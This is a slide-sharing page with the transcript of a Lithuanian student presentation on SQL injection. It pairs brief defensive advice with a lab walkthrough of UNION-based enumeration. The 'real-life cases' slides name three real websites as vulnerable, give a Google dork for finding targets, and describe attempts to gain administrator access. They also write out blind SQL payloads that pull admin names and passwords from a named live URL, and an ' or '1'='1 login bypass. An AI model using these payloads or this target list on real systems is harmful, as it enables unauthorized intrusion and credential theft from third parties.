1 / 14

Tinklų saugumas

Justinas Bimbiris Agnas Malūkas. Tinklų saugumas. SQL Injection. SQL Injection – tai viešas kreipimasis į duomenų bazę bandant išgauti ir/ar pašalinti duomenis.

ila-farrell
Download Presentation

Tinklų saugumas

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Justinas Bimbiris Agnas Malūkas Tinklų saugumas

  2. SQL Injection • SQL Injection – tai viešas kreipimasis į duomenų bazę bandant išgauti ir/ar pašalinti duomenis. • Tai nutinka, kai į URL ir/arba įvedimo lauką įterpiama užklausos dalis, kuri yra tęsinys administratoriaus suformuotos užklausos. Taigi visa užklausa bus įvykdyta, jeigu ji yra teisingai suformuluota, be administratoriaus žinios.

  3. SQL injection • Priežastys: duomenų bazė neparuošta viešam naudojimui – paliktas „debugging“režimas, kuris įvedus blogą užklausą gali atskleisti puslapio pažeidžiamumą ir/ar dalį duomenų bazės informacijos; netikrinama užklausos informacija.

  4. SQL Injection • Apsisaugojimo būdai: išjungti „debugging“ režimą; naudoti programavimo kalbų informacijos įterpimo į duombazę paruošimo funkcijas(pvz. mysql_real_escape_string), kurios neleis įterpti kabučių į užklausas. Kur reikia konvertuoti reikšmes į sveikus skaičius. Rekomenduojama naudoti POST duomenų perdavimo būdą, nes jis duomenis perduoda ne per URL, todėl jų nebus galima paredaguoti savavališkai. Taip pat tikrinti visų įvedimo laukų reikšmes spec. funkcijomis.

  5. Laboratorinis įgyvendinimas • Resursai: bandymams buvo naudojama PHP 5.3.10, MySQL 1 5.5.20 • Žingsnis 1: ieškodame stulpelių skaičiaus: po id prirašome 'id=* order by „skaičius“--'skaičius – bandome nuo 1 iki n kol gauname SQL klaidą. Tada žinome kiek stulpelių yra toje lentutėje.

  6. Laboratorinis įgyvendinimas • Žingsnis 2: žinodami stulpelių skaičių galime manipuliuoti užklausa bandant išgauti informaciją. Dėl visa pikto surandame SQL versiją(dėl jos gali skirtis užklausos): 'id=* union all select 1,..,“skaičius“ - 2, version()--'. • Žingsnis 3: ieškome lentučių pavadinimų: 'id=* union all select 1,..,“skaičius“ - 2, table_name from information_schema.tables--'. • Žingsnis 4: ieškome stulpelių pavadinimų: 'id=* union all select 1,..,“skaičius“ - 2, column_name from information_schema.columns--'

  7. Realaus gyvenimo atvejai • Surasti pažeidžiami puslapiai:http://www.uoc.lthttp://www.amskrupajal.org/AdminLogin.asphttp://www.marmoon.com/games.php?id=437 • Paieška: ieškome Google':inurl:*.php?id='* - index, article, news,..Radę turime įsitikinti, jog puslapį galime pažeisti, tam prie id prirašome ' ir tikimės išvysti SQL klaidą.

  8. Realaus gyvenimo atvejai • Veiksmai: bandėme prisijungti prie tinklapio administratoriaus teisėmis, išgauti lentučių, stulpelių skaičių, pavadinimus, ..

  9. Blind SQL Gaunam klaidų, geras ženklas http://www.marmoon.com/games.php?id=437 and substring(@@version,1,1)=5 Gaunam klaidų, geras ženklas Puslapis užsikrauna normaliai, vadinasi yra 5 stulpeliai lentelėje.

  10. Blind SQL • Atspėjom lentelę admin ir stulpelį pass, jeigu puslapis su užklausa and (select substring(concat(1,pass),1,1) from admin limit 0,1)=1 užsikrauna normaliai

  11. Blind SQL • Spėjam slaptažodį paraidžiui:?id=437 and ascii(substring((SELECT concat(name,0×3a,pass) from admin limit 0,1),1,1))>80 • Bandom, kol nebematom klaidų ir paverčiam iš ascii

  12. SQL logging • Paprastas prisijungimas naudojant sql injecionusername:x' or '1'='1pass:x' or '1'='1

  13. SQL logging

  14. Ką išmokome? • Kuriant tinklapį reikia pagalvoti apie ne geranoriškus vartotojus ir jų ketinimus „pažaisti“ su jūsų tinklapio kreipimosi į duomenų bazę spragomis.

More Related